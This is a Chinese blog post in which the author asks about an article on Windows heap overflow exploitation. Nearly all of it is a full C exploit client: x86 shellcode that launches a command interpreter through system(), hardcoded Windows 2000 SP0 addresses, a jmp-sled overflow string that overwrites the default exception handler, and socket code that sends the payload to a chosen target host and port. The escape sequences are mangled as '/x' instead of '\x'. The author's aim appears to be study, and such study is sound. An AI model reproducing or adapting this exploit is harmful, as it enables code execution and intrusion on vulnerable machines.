关于《Windows下的HEAP溢出及其利用》一文的疑惑

最新推荐文章于 2022-05-07 10:22:24 发布

kgdiwss

最新推荐文章于 2022-05-07 10:22:24 发布

阅读量1.8k

点赞数

文章标签： windows socket byte server struct library

本文链接：https://blog.csdn.net/kgdiwss/article/details/881896

版权

作者：∮明天去要饭

    看了isno写的《Windows下的HEAP溢出及其利用》一文，虽然原理上能理解，但是还是有些疑惑，请各位朋友指点一下，原文地址：
   http://elfhack.whitecell.org/chinesedocs/win_heap1.txt
    以下是我在它的基础上修改的溢出代码，其实就是改了一下shellcode罢了，如下：

#include <stdio.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")    //原文中少了这句，不知道是故意还是... ：)

unsigned char shellcode[] =
//放上16字节的90说是为了跳到shellcode中
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"

//以下shellcode将开启一个cmd.
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x23/x80/xE7/x77" //2000 sp0上LoadLibraryA地址:0x77E78023
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xAD/xAA/x01/x78" //2000 sp0上system地址:0x7801AAAD
"/xFF/xD0";

int main(int argc, char *argv[])
{
WSADATA       wsd;
SOCKET        sClient;
int           ret, i;
struct sockaddr_in server;
struct hostent    *host = NULL;

char buff[4096] = {0};

if(argc != 3)
{
  printf("usage: %s target port/n", argv[0]);
  exit(1);
}
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
  printf("Failed to load Winsock library!/n");
  return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
  printf("socket() failed: %d/n", WSAGetLastError());
  return 1;
}

server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if (server.sin_addr.s_addr == INADDR_NONE)
{
  host = gethostbyname(argv[1]);
  if (host == NULL)
  {
   printf("Unable to resolve server: %s/n", argv[1]);
   return 1;
  }
  CopyMemory(&server.sin_addr, host->h_addr_list[0],
   host->h_length);
}

//连接到目标主机的1500端口
if (connect(sClient, (struct sockaddr *)&server,
  sizeof(server)) == SOCKET_ERROR)
{
  printf("connect() failed: %d/n", WSAGetLastError());
  return 1;
}

//下面开始构造溢出串
for(i=0;i<sizeof(buff);)
{
  buff[i++] = 0xeb;
  buff[i++] = 0x06;
}

//先把前面放上大量的jmp 6指令（0xeb,0x06）作为NOP

*(unsigned int *)&buff[32+8] = 0x0012f5bf; //shellcode地址，但是为什么是0x0012f5bf ？
*(unsigned int *)&buff[32+8+4] = 0x77ec044c; //windows2000 sp0上的默认异常处理地址

//在对应的位置放上要改写的内存地址和shellcode地址，
//这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的，
//这个是堆栈中的缓冲区地址，在不同的系统中可能略有不同
//把shellcode放在最后面
memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode));

/*
整个构造好的溢出串如下：
+-----------------------------------------------------------------------------------------------------------+
|jmp 6 jmp 6...| 0x0012f5bf | 0x77ebf44c | jmp 6 jmp 6...jmp 6 jmp 6| shellcod |
+-----------------------------------------------------------------------------------------------------------+
| 40 bytes | 4 bytes | 4 bytes | |shellcode的长度|
*/
//shellcode的前面要放上几个0x90，以便最后一个jmp 6可以跳到其中

buff[sizeof(buff)-1] = 0;

i = 4096;

//把溢出串发送过去
ret = send(sClient, buff, i, 0);

closesocket(sClient);
WSACleanup();

return 0;
}